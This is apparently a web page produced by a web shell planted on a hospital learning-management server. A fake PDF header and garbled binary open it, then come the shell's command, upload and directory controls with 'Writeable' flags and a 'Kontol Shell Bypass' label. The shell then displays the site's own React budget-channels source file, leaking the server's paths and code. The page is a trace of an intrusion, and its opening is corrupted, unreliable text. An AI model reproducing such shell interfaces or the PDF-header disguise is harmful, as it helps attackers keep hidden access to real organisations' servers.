%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital.org/shardalms/lms/lms/react/src/pages/tpl/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital.org/shardalms/lms/lms/react/src/pages/tpl/BudgetChannels.js
/* eslint-disable react-hooks/exhaustive-deps */
import React, { useState, useEffect, useRef } from "react";
import BudgetService from "../../services/BudgetService";
import { AntdPaging, AntdSelect, AntdTag } from "../../components";
import util from "../../util";
import {
    Input,
    InputNumber,
    Button,
    message,
    Modal,
    Card,
    Table,
} from 'antd';
import {
    ExclamationCircleOutlined,
} from '@ant-design/icons';
const { confirm } = Modal;

export default function BudgetChannels(props) {
    const { medium_id } = props;
    const [result, setResult] = useState({ data: [], page: {} });
    const [loading, setLoading] = useState(false);
    const formRef = useRef();
    const sdataRef = useRef({ p: 1, ps: 25, medium_id: medium_id || 0 });

    const cols = [
        { title: "Channel Name", dataIndex: "name" },
        {
            title: 'Display Order',
            dataIndex: 'disp_odr',
        },
        {
            title: 'Status',
            dataIndex: 'status',
            render: (status) => <div>{status ? (<AntdTag type="success">Active</AntdTag>) : (<AntdTag type="danger">Inactive</AntdTag>)}</div>
        },
        {
            title: '',
            dataIndex: 'id',
            width: "86px",
            render: (id, row) => (
                <div className="text-center">
                    <Button.Group size="small">
                        <Button type="default" onClick={() => formRef.current.open(row)}>
                            <i className="fa fa-edit"></i>
                        </Button>
                        <Button type="default" onClick={() => deleteRecord(id)}>
                            <i className="fa fa-times-circle text-danger"></i>
                        </Button>
                    </Button.Group>
                </div>
            )
        }
    ];

    const list = (p, ps) => {
        setLoading(true);
        sdataRef.current.p = p || 1;
        sdataRef.current.ps = ps || sdataRef.current.ps;
        BudgetService.channels(sdataRef.current).then(({ data }) => {
            data.result.data.forEach((v, i) => { v.key = i; });
            setResult(data.result);
        }).catch(e => {
            message.error(e.message);
        }).finally(() => {
            setLoading(false);
        })
    }

    const deleteRecord = (id) => {
        message.destroy();
        confirm({
            title: `Are you sure to delete this channel?`,
            icon: <ExclamationCircleOutlined />,
            content: '',
            okText: 'Yes',
            okType: 'danger',
            cancelText: 'No',
            onOk() {
                util.showLoader();
                BudgetService.deleteChannel(id).then(({ data }) => {
                    message.success(data.message || 'Deleted');
                    list();
                }).catch(e => {
                    message.error(e.message);
                }).finally(() => {
                    util.hideLoader();
                })
            },
            onCancel() {
            },
        })
    }

    useEffect(() => {
        list();
        return () => { message.destroy() }
    }, []);


    return (
        <div>
            <Card size="small">
                <div className="d-flex align-items-center justify-content-between">
                    <div>
                        <SearchForm dataRef={sdataRef} onSearch={list} />
                    </div>
                    <div>
                        <Button type="primary" onClick={() => formRef.current.open()}>Add New</Button>
                    </div>
                </div>
            </Card>

            <div className="pt10">
                {result.data.length > 0 &&
                    <div className="mb8">
                        Showing {result.page.start + 1} - {result.page.start + result.page.total} of {result.page.total_records} records.
                    </div>
                }

                <Card size="small" bodyStyle={{ padding: 0 }}>
                    <Table
                        size="small"
                        bordered={false}
                        dataSource={result.data}
                        columns={cols}
                        loading={loading}
                        //scroll={{y:wh-310}}
                        pagination={false}
                        className="stripped"
                    />

                    <div className="paging-box">
                        <AntdPaging
                            onChange={list}
                            total={result.page.total_records}
                            current={result.page.cur_page}
                            pageSize={sdataRef.current.ps}
                            showSizeChanger
                        />
                    </div>
                </Card>
            </div>

            <AddForm
                refOb={formRef}
                callback={list}
                pageno={sdataRef.current.p}
                medium_id={medium_id}
            />
        </div>
    )
}

const SearchForm = (props) => {
    let { dataRef, onSearch } = props;
    let [data, setData] = useState({ ...dataRef.current });
    const handleChange = (v, k) => {
        data[k] = v;
        setData({ ...data });
    }
    useEffect(() => {
        dataRef.current = { ...data };
    }, [data]);

    useEffect(() => {
        setData({ ...data, p: dataRef.current.p, ps: dataRef.current.ps });
    }, [dataRef.current.p, dataRef.current.ps]);

    return (
        <form onSubmit={e => e.preventDefault()} autoComplete="off" spellCheck="false">
            <div className="d-flex align-items-center">
                <div className="mr5">
                    <Input placeholder="Search" allowClear value={data.k} onChange={e => handleChange(e.target.value, 'k')} />
                </div>
                <div>
                    <Button type="primary" onClick={() => onSearch()}>Search</Button>
                </div>
            </div>
        </form>
    )
}

const AddForm = (props) => {
    let { callback, pageno, refOb, medium_id } = props;
    const [showModal, setShowModal] = useState(false);
    let [data, setData] = useState({});
    const handleChange = (v, k) => {
        data[k] = v;
        setData({ ...data });
    }

    const handleOk = () => {
        message.destroy();
        util.showLoader("Saving...");
        BudgetService.saveChannel(data).then(({ data }) => {
            message.success(data.message || 'Saved');
            callback(data.id ? pageno : 1);
            setShowModal(false);
        }).catch(e => {
            message.error(e.message);
        }).finally(() => {
            util.hideLoader();
        })
    }
    const handleCancel = () => {
        setShowModal(false);
    }

    refOb.current = {
        ...refOb.current,
        open: (dtl) => {
            setData(dtl ? { ...dtl } : { medium_id, status: '1' });
            setShowModal(true);
        }
    }

    return (
        <Modal
            title={`${data.id ? 'Edit' : 'Add'} Channel`}
            open={showModal}
            okText="Save"
            onOk={handleOk}
            onCancel={handleCancel}
            destroyOnClose
            maskClosable={false}
            width={400}
        >
            <form onSubmit={e => { e.preventDefault(); handleOk() }} autoComplete="off" spellCheck="false">
                <div className="form-group">
                    <label className="req">Channel Name</label>
                    <Input value={data.name || ''} onChange={e => handleChange(e.target.value, 'name')} />
                </div>
                <div className="form-group">
                    <label>Display Order</label>
                    <InputNumber value={data.disp_odr || ''} onChange={v => handleChange(v, 'disp_odr')} style={{ width: '100%' }} />
                </div>
                <div className="form-group">
                    <label className="req">Status</label>
                    <div>
                        <AntdSelect
                            options={[{ value: '1', label: "Active" }, { value: '0', label: "Inactive" }]}
                            value={data.status}
                            onChange={v => { handleChange(v, 'status') }}
                        />
                    </div>
                </div>
            </form>
        </Modal>
    )
}

Kontol Shell Bypass